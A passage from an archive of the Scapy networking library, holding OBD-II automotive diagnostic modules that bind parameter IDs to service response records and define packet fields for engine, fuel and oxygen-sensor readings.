bind_layers(OBD_S01_PR_Record, OBD_PID77, pid=0x77) bind_layers(OBD_S01_PR_Record, OBD_PID78, pid=0x78) bind_layers(OBD_S01_PR_Record, OBD_PID79, pid=0x79) bind_layers(OBD_S01_PR_Record, OBD_PID7A, pid=0x7A) bind_layers(OBD_S01_PR_Record, OBD_PID7B, pid=0x7B) bind_layers(OBD_S01_PR_Record, OBD_PID7C, pid=0x7C) bind_layers(OBD_S01_PR_Record, OBD_PID7D, pid=0x7D) bind_layers(OBD_S01_PR_Record, OBD_PID7E, pid=0x7E) bind_layers(OBD_S01_PR_Record, OBD_PID7F, pid=0x7F) bind_layers(OBD_S01_PR_Record, OBD_PID80, pid=0x80) bind_layers(OBD_S01_PR_Record, OBD_PID81, pid=0x81) bind_layers(OBD_S01_PR_Record, OBD_PID82, pid=0x82) bind_layers(OBD_S01_PR_Record, OBD_PID83, pid=0x83) bind_layers(OBD_S01_PR_Record, OBD_PID84, pid=0x84) bind_layers(OBD_S01_PR_Record, OBD_PID85, pid=0x85) bind_layers(OBD_S01_PR_Record, OBD_PID86, pid=0x86) bind_layers(OBD_S01_PR_Record, OBD_PID87, pid=0x87) bind_layers(OBD_S01_PR_Record, OBD_PID88, pid=0x88) bind_layers(OBD_S01_PR_Record, OBD_PID89, pid=0x89) bind_layers(OBD_S01_PR_Record, OBD_PID8A, pid=0x8A) bind_layers(OBD_S01_PR_Record, OBD_PID8B, pid=0x8B) bind_layers(OBD_S01_PR_Record, OBD_PID8C, pid=0x8C) bind_layers(OBD_S01_PR_Record, OBD_PID8D, pid=0x8D) bind_layers(OBD_S01_PR_Record, OBD_PID8E, pid=0x8E) bind_layers(OBD_S01_PR_Record, OBD_PID8F, pid=0x8F) bind_layers(OBD_S01_PR_Record, OBD_PID90, pid=0x90) bind_layers(OBD_S01_PR_Record, OBD_PID91, pid=0x91) bind_layers(OBD_S01_PR_Record, OBD_PID92, pid=0x92) bind_layers(OBD_S01_PR_Record, OBD_PID93, pid=0x93) bind_layers(OBD_S01_PR_Record, OBD_PID94, pid=0x94) bind_layers(OBD_S01_PR_Record, OBD_PID98, pid=0x98) bind_layers(OBD_S01_PR_Record, OBD_PID99, pid=0x99) bind_layers(OBD_S01_PR_Record, OBD_PID9A, pid=0x9A) bind_layers(OBD_S01_PR_Record, OBD_PID9B, pid=0x9B) bind_layers(OBD_S01_PR_Record, OBD_PID9C, pid=0x9C) bind_layers(OBD_S01_PR_Record, OBD_PID9D, pid=0x9D) bind_layers(OBD_S01_PR_Record, OBD_PID9E, pid=0x9E) bind_layers(OBD_S01_PR_Record, OBD_PID9F, pid=0x9F) bind_layers(OBD_S01_PR_Record, OBD_PIDA0, pid=0xA0) bind_layers(OBD_S01_PR_Record, OBD_PIDA1, pid=0xA1) bind_layers(OBD_S01_PR_Record, OBD_PIDA2, pid=0xA2) bind_layers(OBD_S01_PR_Record, OBD_PIDA3, pid=0xA3) bind_layers(OBD_S01_PR_Record, OBD_PIDA4, pid=0xA4) bind_layers(OBD_S01_PR_Record, OBD_PIDA5, pid=0xA5) bind_layers(OBD_S01_PR_Record, OBD_PIDA6, pid=0xA6) bind_layers(OBD_S01_PR_Record, OBD_PIDC0, pid=0xC0) # Service 2 bind_layers(OBD_S02_PR_Record, OBD_PID00, pid=0x00) bind_layers(OBD_S02_PR_Record, OBD_PID01, pid=0x01) bind_layers(OBD_S02_PR_Record, OBD_PID02, pid=0x02) bind_layers(OBD_S02_PR_Record, OBD_PID03, pid=0x03) bind_layers(OBD_S02_PR_Record, OBD_PID04, pid=0x04) bind_layers(OBD_S02_PR_Record, OBD_PID05, pid=0x05) bind_layers(OBD_S02_PR_Record, OBD_PID06, pid=0x06) bind_layers(OBD_S02_PR_Record, OBD_PID07, pid=0x07) bind_layers(OBD_S02_PR_Record, OBD_PID08, pid=0x08) bind_layers(OBD_S02_PR_Record, OBD_PID09, pid=0x09) bind_layers(OBD_S02_PR_Record, OBD_PID0A, pid=0x0A) bind_layers(OBD_S02_PR_Record, OBD_PID0B, pid=0x0B) bind_layers(OBD_S02_PR_Record, OBD_PID0C, pid=0x0C) bind_layers(OBD_S02_PR_Record, OBD_PID0D, pid=0x0D) bind_layers(OBD_S02_PR_Record, OBD_PID0E, pid=0x0E) bind_layers(OBD_S02_PR_Record, OBD_PID0F, pid=0x0F) bind_layers(OBD_S02_PR_Record, OBD_PID10, pid=0x10) bind_layers(OBD_S02_PR_Record, OBD_PID11, pid=0x11) bind_layers(OBD_S02_PR_Record, OBD_PID12, pid=0x12) bind_layers(OBD_S02_PR_Record, OBD_PID13, pid=0x13) bind_layers(OBD_S02_PR_Record, OBD_PID14, pid=0x14) bind_layers(OBD_S02_PR_Record, OBD_PID15, pid=0x15) bind_layers(OBD_S02_PR_Record, OBD_PID16, pid=0x16) bind_layers(OBD_S02_PR_Record, OBD_PID17, pid=0x17) bind_layers(OBD_S02_PR_Record, OBD_PID18, pid=0x18) bind_layers(OBD_S02_PR_Record, OBD_PID19, pid=0x19) bind_layers(OBD_S02_PR_Record, OBD_PID1A, pid=0x1A) bind_layers(OBD_S02_PR_Record, OBD_PID1B, pid=0x1B) bind_layers(OBD_S02_PR_Record, OBD_PID1C, pid=0x1C) bind_layers(OBD_S02_PR_Record, OBD_PID1D, pid=0x1D) bind_layers(OBD_S02_PR_Record, OBD_PID1E, pid=0x1E) bind_layers(OBD_S02_PR_Record, OBD_PID1F, pid=0x1F) bind_layers(OBD_S02_PR_Record, OBD_PID20, pid=0x20) bind_layers(OBD_S02_PR_Record, OBD_PID21, pid=0x21) bind_layers(OBD_S02_PR_Record, OBD_PID22, pid=0x22) bind_layers(OBD_S02_PR_Record, OBD_PID23, pid=0x23) bind_layers(OBD_S02_PR_Record, OBD_PID24, pid=0x24) bind_layers(OBD_S02_PR_Record, OBD_PID25, pid=0x25) bind_layers(OBD_S02_PR_Record, OBD_PID26, pid=0x26) bind_layers(OBD_S02_PR_Record, OBD_PID27, pid=0x27) bind_layers(OBD_S02_PR_Record, OBD_PID28, pid=0x28) bind_layers(OBD_S02_PR_Record, OBD_PID29, pid=0x29) bind_layers(OBD_S02_PR_Record, OBD_PID2A, pid=0x2A) bind_layers(OBD_S02_PR_Record, OBD_PID2B, pid=0x2B) bind_layers(OBD_S02_PR_Record, OBD_PID2C, pid=0x2C) bind_layers(OBD_S02_PR_Record, OBD_PID2D, pid=0x2D) bind_layers(OBD_S02_PR_Record, OBD_PID2E, pid=0x2E) bind_layers(OBD_S02_PR_Record, OBD_PID2F, pid=0x2F) bind_layers(OBD_S02_PR_Record, OBD_PID30, pid=0x30) bind_layers(OBD_S02_PR_Record, OBD_PID31, pid=0x31) bind_layers(OBD_S02_PR_Record, OBD_PID32, pid=0x32) bind_layers(OBD_S02_PR_Record, OBD_PID33, pid=0x33) bind_layers(OBD_S02_PR_Record, OBD_PID34, pid=0x34) bind_layers(OBD_S02_PR_Record, OBD_PID35, pid=0x35) bind_layers(OBD_S02_PR_Record, OBD_PID36, pid=0x36) bind_layers(OBD_S02_PR_Record, OBD_PID37, pid=0x37) bind_layers(OBD_S02_PR_Record, OBD_PID38, pid=0x38) bind_layers(OBD_S02_PR_Record, OBD_PID39, pid=0x39) bind_layers(OBD_S02_PR_Record, OBD_PID3A, pid=0x3A) bind_layers(OBD_S02_PR_Record, OBD_PID3B, pid=0x3B) bind_layers(OBD_S02_PR_Record, OBD_PID3C, pid=0x3C) bind_layers(OBD_S02_PR_Record, OBD_PID3D, pid=0x3D) bind_layers(OBD_S02_PR_Record, OBD_PID3E, pid=0x3E) bind_layers(OBD_S02_PR_Record, OBD_PID3F, pid=0x3F) bind_layers(OBD_S02_PR_Record, OBD_PID40, pid=0x40) bind_layers(OBD_S02_PR_Record, OBD_PID41, pid=0x41) bind_layers(OBD_S02_PR_Record, OBD_PID42, pid=0x42) bind_layers(OBD_S02_PR_Record, OBD_PID43, pid=0x43) bind_layers(OBD_S02_PR_Record, OBD_PID44, pid=0x44) bind_layers(OBD_S02_PR_Record, OBD_PID45, pid=0x45) bind_layers(OBD_S02_PR_Record, OBD_PID46, pid=0x46) bind_layers(OBD_S02_PR_Record, OBD_PID47, pid=0x47) bind_layers(OBD_S02_PR_Record, OBD_PID48, pid=0x48) bind_layers(OBD_S02_PR_Record, OBD_PID49, pid=0x49) bind_layers(OBD_S02_PR_Record, OBD_PID4A, pid=0x4A) bind_layers(OBD_S02_PR_Record, OBD_PID4B, pid=0x4B) bind_layers(OBD_S02_PR_Record, OBD_PID4C, pid=0x4C) bind_layers(OBD_S02_PR_Record, OBD_PID4D, pid=0x4D) bind_layers(OBD_S02_PR_Record, OBD_PID4E, pid=0x4E) bind_layers(OBD_S02_PR_Record, OBD_PID4F, pid=0x4F) bind_layers(OBD_S02_PR_Record, OBD_PID50, pid=0x50) bind_layers(OBD_S02_PR_Record, OBD_PID51, pid=0x51) bind_layers(OBD_S02_PR_Record, OBD_PID52, pid=0x52) bind_layers(OBD_S02_PR_Record, OBD_PID53, pid=0x53) bind_layers(OBD_S02_PR_Record, OBD_PID54, pid=0x54) bind_layers(OBD_S02_PR_Record, OBD_PID55, pid=0x55) bind_layers(OBD_S02_PR_Record, OBD_PID56, pid=0x56) bind_layers(OBD_S02_PR_Record, OBD_PID57, pid=0x57) bind_layers(OBD_S02_PR_Record, OBD_PID58, pid=0x58) bind_layers(OBD_S02_PR_Record, OBD_PID59, pid=0x59) bind_layers(OBD_S02_PR_Record, OBD_PID5A, pid=0x5A) bind_layers(OBD_S02_PR_Record, OBD_PID5B, pid=0x5B) bind_layers(OBD_S02_PR_Record, OBD_PID5C, pid=0x5C) bind_layers(OBD_S02_PR_Record, OBD_PID5D, pid=0x5D) bind_layers(OBD_S02_PR_Record, OBD_PID5E, pid=0x5E) bind_layers(OBD_S02_PR_Record, OBD_PID5F, pid=0x5F) bind_layers(OBD_S02_PR_Record, OBD_PID60, pid=0x60) bind_layers(OBD_S02_PR_Record, OBD_PID61, pid=0x61) bind_layers(OBD_S02_PR_Record, OBD_PID62, pid=0x62) bind_layers(OBD_S02_PR_Record, OBD_PID63, pid=0x63) bind_layers(OBD_S02_PR_Record, OBD_PID64, pid=0x64) bind_layers(OBD_S02_PR_Record, OBD_PID65, pid=0x65) bind_layers(OBD_S02_PR_Record, OBD_PID66, pid=0x66) bind_layers(OBD_S02_PR_Record, OBD_PID67, pid=0x67) bind_layers(OBD_S02_PR_Record, OBD_PID68, pid=0x68) bind_layers(OBD_S02_PR_Record, OBD_PID69, pid=0x69) bind_layers(OBD_S02_PR_Record, OBD_PID6A, pid=0x6A) bind_layers(OBD_S02_PR_Record, OBD_PID6B, pid=0x6B) bind_layers(OBD_S02_PR_Record, OBD_PID6C, pid=0x6C) bind_layers(OBD_S02_PR_Record, OBD_PID6D, pid=0x6D) bind_layers(OBD_S02_PR_Record, OBD_PID6E, pid=0x6E) bind_layers(OBD_S02_PR_Record, OBD_PID6F, pid=0x6F) bind_layers(OBD_S02_PR_Record, OBD_PID70, pid=0x70) bind_layers(OBD_S02_PR_Record, OBD_PID71, pid=0x71) bind_layers(OBD_S02_PR_Record, OBD_PID72, pid=0x72) bind_layers(OBD_S02_PR_Record, OBD_PID73, pid=0x73) bind_layers(OBD_S02_PR_Record, OBD_PID74, pid=0x74) bind_layers(OBD_S02_PR_Record, OBD_PID75, pid=0x75) bind_layers(OBD_S02_PR_Record, OBD_PID76, pid=0x76) bind_layers(OBD_S02_PR_Record, OBD_PID77, pid=0x77) bind_layers(OBD_S02_PR_Record, OBD_PID78, pid=0x78) bind_layers(OBD_S02_PR_Record, OBD_PID79, pid=0x79) bind_layers(OBD_S02_PR_Record, OBD_PID7A, pid=0x7A) bind_layers(OBD_S02_PR_Record, OBD_PID7B, pid=0x7B) bind_layers(OBD_S02_PR_Record, OBD_PID7C, pid=0x7C) bind_layers(OBD_S02_PR_Record, OBD_PID7D, pid=0x7D) bind_layers(OBD_S02_PR_Record, OBD_PID7E, pid=0x7E) bind_layers(OBD_S02_PR_Record, OBD_PID7F, pid=0x7F) bind_layers(OBD_S02_PR_Record, OBD_PID80, pid=0x80) bind_layers(OBD_S02_PR_Record, OBD_PID81, pid=0x81) bind_layers(OBD_S02_PR_Record, OBD_PID82, pid=0x82) bind_layers(OBD_S02_PR_Record, OBD_PID83, pid=0x83) bind_layers(OBD_S02_PR_Record, OBD_PID84, pid=0x84) bind_layers(OBD_S02_PR_Record, OBD_PID85, pid=0x85) bind_layers(OBD_S02_PR_Record, OBD_PID86, pid=0x86) bind_layers(OBD_S02_PR_Record, OBD_PID87, pid=0x87) bind_layers(OBD_S02_PR_Record, OBD_PID88, pid=0x88) bind_layers(OBD_S02_PR_Record, OBD_PID89, pid=0x89) bind_layers(OBD_S02_PR_Record, OBD_PID8A, pid=0x8A) bind_layers(OBD_S02_PR_Record, OBD_PID8B, pid=0x8B) bind_layers(OBD_S02_PR_Record, OBD_PID8C, pid=0x8C) bind_layers(OBD_S02_PR_Record, OBD_PID8D, pid=0x8D) bind_layers(OBD_S02_PR_Record, OBD_PID8E, pid=0x8E) bind_layers(OBD_S02_PR_Record, OBD_PID8F, pid=0x8F) bind_layers(OBD_S02_PR_Record, OBD_PID90, pid=0x90) bind_layers(OBD_S02_PR_Record, OBD_PID91, pid=0x91) bind_layers(OBD_S02_PR_Record, OBD_PID92, pid=0x92) bind_layers(OBD_S02_PR_Record, OBD_PID93, pid=0x93) bind_layers(OBD_S02_PR_Record, OBD_PID94, pid=0x94) bind_layers(OBD_S02_PR_Record, OBD_PID98, pid=0x98) bind_layers(OBD_S02_PR_Record, OBD_PID99, pid=0x99) bind_layers(OBD_S02_PR_Record, OBD_PID9A, pid=0x9A) bind_layers(OBD_S02_PR_Record, OBD_PID9B, pid=0x9B) bind_layers(OBD_S02_PR_Record, OBD_PID9C, pid=0x9C) bind_layers(OBD_S02_PR_Record, OBD_PID9D, pid=0x9D) bind_layers(OBD_S02_PR_Record, OBD_PID9E, pid=0x9E) bind_layers(OBD_S02_PR_Record, OBD_PID9F, pid=0x9F) bind_layers(OBD_S02_PR_Record, OBD_PIDA0, pid=0xA0) bind_layers(OBD_S02_PR_Record, OBD_PIDA1, pid=0xA1) bind_layers(OBD_S02_PR_Record, OBD_PIDA2, pid=0xA2) bind_layers(OBD_S02_PR_Record, OBD_PIDA3, pid=0xA3) bind_layers(OBD_S02_PR_Record, OBD_PIDA4, pid=0xA4) bind_layers(OBD_S02_PR_Record, OBD_PIDA5, pid=0xA5) bind_layers(OBD_S02_PR_Record, OBD_PIDA6, pid=0xA6) bind_layers(OBD_S02_PR_Record, OBD_PIDC0, pid=0xC0) scapy-2.4.4/scapy/contrib/automotive/obd/pid/pids_00_1F.py000066400000000000000000000222331372370053500233000ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Andreas Korb # Copyright (C) Nils Weiss # This program is published under a GPLv2 license # scapy.contrib.status = skip from scapy.fields import BitEnumField, BitField, ScalingField, \ FlagsField, XByteEnumField, PacketField from scapy.contrib.automotive.obd.packet import OBD_Packet from scapy.contrib.automotive.obd.services import OBD_DTC # See https://en.wikipedia.org/wiki/OBD-II_PIDs for further information # PID = Parameter IDentification class OBD_PID00(OBD_Packet): name = "PID_00_PIDsSupported" fields_desc = [ FlagsField('supported_pids', b'', 32, [ 'PID20', 'PID1F', 'PID1E', 'PID1D', 'PID1C', 'PID1B', 'PID1A', 'PID19', 'PID18', 'PID17', 'PID16', 'PID15', 'PID14', 'PID13', 'PID12', 'PID11', 'PID10', 'PID0F', 'PID0E', 'PID0D', 'PID0C', 'PID0B', 'PID0A', 'PID09', 'PID08', 'PID07', 'PID06', 'PID05', 'PID04', 'PID03', 'PID02', 'PID01' ]) ] class OBD_PID01(OBD_Packet): name = "PID_01_MonitorStatusSinceDtcsCleared" onOff = { 0: 'off', 1: 'on' } fields_desc = [ BitEnumField('mil', 0, 1, onOff), BitField('dtc_count', 0, 7), BitField('reserved1', 0, 1), FlagsField('continuous_tests_ready', 0, 3, [ 'misfire', 'fuelSystem', 'components' ]), BitField('reserved2', 0, 1), FlagsField('continuous_tests_supported', 0, 3, [ 'misfire', 'fuel_system', 'components' ]), FlagsField('once_per_trip_tests_supported', 0, 8, [ 'egr', 'oxygenSensorHeater', 'oxygenSensor', 'acSystemRefrigerant', 'secondaryAirSystem', 'evaporativeSystem', 'heatedCatalyst', 'catalyst' ]), FlagsField('once_per_trip_tests_ready', 0, 8, [ 'egr', 'oxygenSensorHeater', 'oxygenSensor', 'acSystemRefrigerant', 'secondaryAirSystem', 'evaporativeSystem', 'heatedCatalyst', 'catalyst' ]) ] class OBD_PID02(OBD_Packet): name = "PID_02_FreezeDtc" fields_desc = [ PacketField('dtc', b'', OBD_DTC) ] class OBD_PID03(OBD_Packet): name = "PID_03_FuelSystemStatus" loopStates = { 0x00: 'OpenLoopInsufficientEngineTemperature', 0x02: 'ClosedLoop', 0x04: 'OpenLoopEngineLoadOrFuelCut', 0x08: 'OpenLoopDueSystemFailure', 0x10: 'ClosedLoopWithFault' } fields_desc = [ XByteEnumField('fuel_system1', 0, loopStates), XByteEnumField('fuel_system2', 0, loopStates) ] class OBD_PID04(OBD_Packet): name = "PID_04_CalculatedEngineLoad" fields_desc = [ ScalingField('data', 0, scaling=100 / 255., unit="%") ] class OBD_PID05(OBD_Packet): name = "PID_05_EngineCoolantTemperature" fields_desc = [ ScalingField('data', 0, unit="deg. C", offset=-40.0) ] class OBD_PID06(OBD_Packet): name = "PID_06_ShortTermFuelTrimBank1" fields_desc = [ ScalingField('data', 0, scaling=100 / 128., unit="%", offset=-100.0) ] class OBD_PID07(OBD_Packet): name = "PID_07_LongTermFuelTrimBank1" fields_desc = [ ScalingField('data', 0, scaling=100 / 128., unit="%", offset=-100.0) ] class OBD_PID08(OBD_Packet): name = "PID_08_ShortTermFuelTrimBank2" fields_desc = [ ScalingField('data', 0, scaling=100 / 128., unit="%", offset=-100.0) ] class OBD_PID09(OBD_Packet): name = "PID_09_LongTermFuelTrimBank2" fields_desc = [ ScalingField('data', 0, scaling=100 / 128., unit="%", offset=-100.0) ] class OBD_PID0A(OBD_Packet): name = "PID_0A_FuelPressure" fields_desc = [ ScalingField('data', 0, scaling=3, unit="kPa") ] class OBD_PID0B(OBD_Packet): name = "PID_0B_IntakeManifoldAbsolutePressure" fields_desc = [ ScalingField('data', 0, unit="kPa") ] class OBD_PID0C(OBD_Packet): name = "PID_0C_EngineRpm" fields_desc = [ ScalingField('data', 0, scaling=1 / 4., unit="min-1", fmt="H") ] class OBD_PID0D(OBD_Packet): name = "PID_0D_VehicleSpeed" fields_desc = [ ScalingField('data', 0, unit="km/h") ] class OBD_PID0E(OBD_Packet): name = "PID_0E_TimingAdvance" fields_desc = [ ScalingField('data', 0, scaling=1 / 2., unit="deg.", offset=-64.0) ] class OBD_PID0F(OBD_Packet): name = "PID_0F_IntakeAirTemperature" fields_desc = [ ScalingField('data', 0, unit="deg. C", offset=-40.0) ] class OBD_PID10(OBD_Packet): name = "PID_10_MafAirFlowRate" fields_desc = [ ScalingField('data', 0, scaling=1 / 100., unit="g/s") ] class OBD_PID11(OBD_Packet): name = "PID_11_ThrottlePosition" fields_desc = [ ScalingField('data', 0, scaling=100 / 255., unit="%") ] class OBD_PID12(OBD_Packet): name = "PID_12_CommandedSecondaryAirStatus" states = { 0x00: 'upstream', 0x02: 'downstreamCatalyticConverter', 0x04: 'outsideAtmosphereOrOff', 0x08: 'pumpCommanded' } fields_desc = [ XByteEnumField('data', 0, states) ] class OBD_PID13(OBD_Packet): name = "PID_13_OxygenSensorsPresent" fields_desc = [ FlagsField('sensors_present', b'', 8, [ 'Bank1Sensor1', 'Bank1Sensor2', 'Bank1Sensor3', 'Bank1Sensor4', 'Bank2Sensor1', 'Bank2Sensor2', 'Bank2Sensor3', 'Bank2Sensor4' ]) ] class _OBD_PID14_1B(OBD_Packet): fields_desc = [ ScalingField('outputVoltage', 0, scaling=0.005, unit="V"), ScalingField('trim', 0, scaling=100 / 128., unit="%", offset=-100) ] class OBD_PID14(_OBD_PID14_1B): name = "PID_14_OxygenSensor1" class OBD_PID15(_OBD_PID14_1B): name = "PID_15_OxygenSensor2" class OBD_PID16(_OBD_PID14_1B): name = "PID_16_OxygenSensor3" class OBD_PID17(_OBD_PID14_1B): name = "PID_17_OxygenSensor4" class OBD_PID18(_OBD_PID14_1B): name = "PID_18_OxygenSensor5" class OBD_PID19(_OBD_PID14_1B): name = "PID_19_OxygenSensor6" class OBD_PID1A(_OBD_PID14_1B): name = "PID_1A_OxygenSensor7" class OBD_PID1B(_OBD_PID14_1B): name = "PID_1B_OxygenSensor8" class OBD_PID1C(OBD_Packet): name = "PID_1C_ObdStandardsThisVehicleConformsTo" obdStandards = { 0x01: 'OBD-II as defined by the CARB', 0x02: 'OBD as defined by the EPA', 0x03: 'OBD and OBD-II', 0x04: 'OBD-I', 0x05: 'Not OBD compliant', 0x06: 'EOBD (Europe)', 0x07: 'EOBD and OBD-II', 0x08: 'EOBD and OBD', 0x09: 'EOBD, OBD and OBD II', 0x0A: 'JOBD (Japan)', 0x0B: 'JOBD and OBD II', 0x0C: 'JOBD and EOBD', 0x0D: 'JOBD, EOBD, and OBD II', 0x0E: 'Reserved', 0x0F: 'Reserved', 0x10: 'Reserved', 0x11: 'Engine Manufacturer Diagnostics (EMD)', 0x12: 'Engine Manufacturer Diagnostics Enhanced (EMD+)', 0x13: 'Heavy Duty On-Board Diagnostics (Child/Partial) (HD OBD-C)', 0x14: 'Heavy Duty On-Board Diagnostics (HD OBD)', 0x15: 'World Wide Harmonized OBD (WWH OBD)', 0x16: 'Reserved', 0x17: 'Heavy Duty Euro OBD Stage I without NOx control (HD EOBD-I)', 0x18: 'Heavy Duty Euro OBD Stage I with NOx control (HD EOBD-I N)', 0x19: 'Heavy Duty Euro OBD Stage II without NOx control (HD EOBD-II)', 0x1A: 'Heavy Duty Euro OBD Stage II with NOx control (HD EOBD-II N)', 0x1B: 'Reserved', 0x1C: 'Brazil OBD Phase 1 (OBDBr-1)', 0x1D: 'Brazil OBD Phase 2 (OBDBr-2)', 0x1E: 'Korean OBD (KOBD)', 0x1F: 'India OBD I (IOBD I)', 0x20: 'India OBD II (IOBD II)', 0x21: 'Heavy Duty Euro OBD Stage VI (HD EOBD-IV)', } fields_desc = [ XByteEnumField('data', 0, obdStandards) ] class OBD_PID1D(OBD_Packet): name = "PID_1D_OxygenSensorsPresent" fields_desc = [ FlagsField('sensors_present', 0, 8, [ 'Bank1Sensor1', 'Bank1Sensor2', 'Bank2Sensor1', 'Bank2Sensor2', 'Bank3Sensor1', 'Bank3Sensor2', 'Bank4Sensor1', 'Bank4Sensor2' ]) ] class OBD_PID1E(OBD_Packet): name = "PID_1E_AuxiliaryInputStatus" fields_desc = [ BitField('reserved', 0, 7), BitEnumField('pto_status', 0, 1, OBD_PID01.onOff) ] class OBD_PID1F(OBD_Packet): name = "PID_1F_RunTimeSinceEngineStart" fields_desc = [ ScalingField('data', 0, unit="s", fmt="H") ] scapy-2.4.4/scapy/contrib/automotive/obd/pid/pids_20_3F.py000066400000000000000000000124771372370053500233150ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Andreas Korb # Copyright (C) Nils Weiss # This program is published under a GPLv2 license # scapy.contrib.status = skip from scapy.fields import FlagsField, ScalingField from scapy.contrib.automotive.obd.packet import OBD_Packet # See https://en.wikipedia.org/wiki/OBD-II_PIDs for further information # PID = Parameter IDentification class OBD_PID20(OBD_Packet): name = "PID_20_PIDsSupported" fields_desc = [ FlagsField('supported_pids', 0, 32, [ 'PID40', 'PID3F', 'PID3E', 'PID3D', 'PID3C', 'PID3B', 'PID3A', 'PID39', 'PID38', 'PID37', 'PID36', 'PID35', 'PID34', 'PID33', 'PID32', 'PID31', 'PID30', 'PID2F', 'PID2E', 'PID2D', 'PID2C', 'PID2B', 'PID2A', 'PID29', 'PID28', 'PID27', 'PID26', 'PID25', 'PID24', 'PID23', 'PID22', 'PID21' ]) ] class OBD_PID21(OBD_Packet): name = "PID_21_DistanceTraveledWithMalfunctionIndicatorLampOn" fields_desc = [ ScalingField('data', 0, unit="km", fmt="H") ] class OBD_PID22(OBD_Packet): name = "PID_22_FuelRailPressure" fields_desc = [ ScalingField('data', 0, scaling=0.079, unit="kPa", fmt="H") ] class OBD_PID23(OBD_Packet): name = "PID_23_FuelRailGaugePressure" fields_desc = [ ScalingField('data', 0, scaling=10, unit="kPa", fmt="H") ] class _OBD_PID24_2B(OBD_Packet): fields_desc = [ ScalingField('equivalence_ratio', 0, scaling=0.0000305, fmt="H"), ScalingField('voltage', 0, scaling=0.000122, unit="V", fmt="H") ] class OBD_PID24(_OBD_PID24_2B): name = "PID_24_OxygenSensor1" class OBD_PID25(_OBD_PID24_2B): name = "PID_25_OxygenSensor2" class OBD_PID26(_OBD_PID24_2B): name = "PID_26_OxygenSensor3" class OBD_PID27(_OBD_PID24_2B): name = "PID_27_OxygenSensor4" class OBD_PID28(_OBD_PID24_2B): name = "PID_28_OxygenSensor5" class OBD_PID29(_OBD_PID24_2B): name = "PID_29_OxygenSensor6" class OBD_PID2A(_OBD_PID24_2B): name = "PID_2A_OxygenSensor7" class OBD_PID2B(_OBD_PID24_2B): name = "PID_2B_OxygenSensor8" class OBD_PID2C(OBD_Packet): name = "PID_2C_CommandedEgr" fields_desc = [ ScalingField('data', 0, scaling=100 / 255., unit="%") ] class OBD_PID2D(OBD_Packet): name = "PID_2D_EgrError" fields_desc = [ ScalingField('data', 0, scaling=100 / 128., unit="%", offset=-100.0) ] class OBD_PID2E(OBD_Packet): name = "PID_2E_CommandedEvaporativePurge" fields_desc = [ ScalingField('data', 0, scaling=100 / 255., unit="%") ] class OBD_PID2F(OBD_Packet): name = "PID_2F_FuelTankLevelInput" fields_desc = [ ScalingField('data', 0, scaling=100 / 255., unit="%") ] class OBD_PID30(OBD_Packet): name = "PID_30_WarmUpsSinceCodesCleared" fields_desc = [ ScalingField('data', 0) ] class OBD_PID31(OBD_Packet): name = "PID_31_DistanceTraveledSinceCodesCleared" fields_desc = [ ScalingField('data', 0, unit="km", fmt="H") ] class OBD_PID32(OBD_Packet): name = "PID_32_EvapSystemVaporPressure" fields_desc = [ ScalingField('data', 0, scaling=0.25, unit="Pa", fmt="h") ] class OBD_PID33(OBD_Packet): name = "PID_33_AbsoluteBarometricPressure" fields_desc = [ ScalingField('data', 0, unit="kPa") ] class _OBD_PID34_3B(OBD_Packet): fields_desc = [ ScalingField('equivalence_ratio', 0, scaling=0.0000305, fmt="H"), ScalingField('current', 0, scaling=0.00390625, unit="mA", fmt="H") ] class OBD_PID34(_OBD_PID34_3B): name = "PID_34_OxygenSensor1" class OBD_PID35(_OBD_PID34_3B): name = "PID_35_OxygenSensor2" class OBD_PID36(_OBD_PID34_3B): name = "PID_36_OxygenSensor3" class OBD_PID37(_OBD_PID34_3B): name = "PID_37_OxygenSensor4" class OBD_PID38(_OBD_PID34_3B): name = "PID_38_OxygenSensor5" class OBD_PID39(_OBD_PID34_3B): name = "PID_39_OxygenSensor6" class OBD_PID3A(_OBD_PID34_3B): name = "PID_3A_OxygenSensor7" class OBD_PID3B(_OBD_PID34_3B): name = "PID_3B_OxygenSensor8" class OBD_PID3C(OBD_Packet): name = "PID_3C_CatalystTemperatureBank1Sensor1" fields_desc = [ ScalingField('data', 0, scaling=0.1, unit="deg. C", offset=-40.0, fmt="H") ] class OBD_PID3D(OBD_Packet): name = "PID_3D_CatalystTemperatureBank2Sensor1" fields_desc = [ ScalingField('data', 0, scaling=0.1, unit="deg. C", offset=-40.0, fmt="H") ] class OBD_PID3E(OBD_Packet): name = "PID_3E_CatalystTemperatureBank1Sensor2" fields_desc = [ ScalingField('data', 0, scaling=0.1, unit="deg. C", offset=-40.0, fmt="H") ] class OBD_PID3F(OBD_Packet): name = "PID_3F_CatalystTemperatureBank2Sensor2" fields_desc = [ ScalingField('data', 0, scaling=0.1, unit="deg. C", offset=-40.0, fmt="H") ] scapy-2.4.4/scapy/contrib/automotive/obd/pid/pids_40_5F.py000066400000000000000000000201361372370053500233100ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Andreas Korb # Copyright (C) Nils Weiss # This program is published under a GPLv2 license # scapy.contrib.status = skip from scapy.fields import ByteEnumField, BitField, FlagsField, XByteField, \ ScalingField, ThreeBytesField from scapy.contrib.automotive.obd.packet import OBD_Packet # See https://en.wikipedia.org/wiki/OBD-II_PIDs for further information # PID = Parameter IDentification class OBD_PID40(OBD_Packet): name = "PID_40_PIDsSupported" fields_desc = [ FlagsField('supported_pids', 0, 32, [ 'PID60', 'PID5F', 'PID5E', 'PID5D', 'PID5C', 'PID5B', 'PID5A', 'PID59', 'PID58', 'PID57', 'PID56', 'PID55', 'PID54', 'PID53', 'PID52', 'PID51', 'PID50', 'PID4F', 'PID4E', 'PID4D', 'PID4C', 'PID4B', 'PID4A', 'PID49', 'PID48', 'PID47', 'PID46', 'PID45', 'PID44', 'PID43', 'PID42', 'PID41' ]) ] class OBD_PID41(OBD_Packet): name = "PID_41_MonitorStatusThisDriveCycle" onOff = { 0: 'off', 1: 'on' } fields_desc = [ XByteField('reserved', 0), BitField('reserved1', 0, 1), FlagsField('continuous_tests_ready', 0, 3, [ 'misfire', 'fuelSystem', 'components' ]), BitField('reserved2', 0, 1), FlagsField('continuous_tests_supported', 0, 3, [ 'misfire', 'fuelSystem', 'components' ]), FlagsField('once_per_trip_tests_supported', 0, 8, [ 'egr', 'oxygenSensorHeater', 'oxygenSensor', 'acSystemRefrigerant', 'secondaryAirSystem', 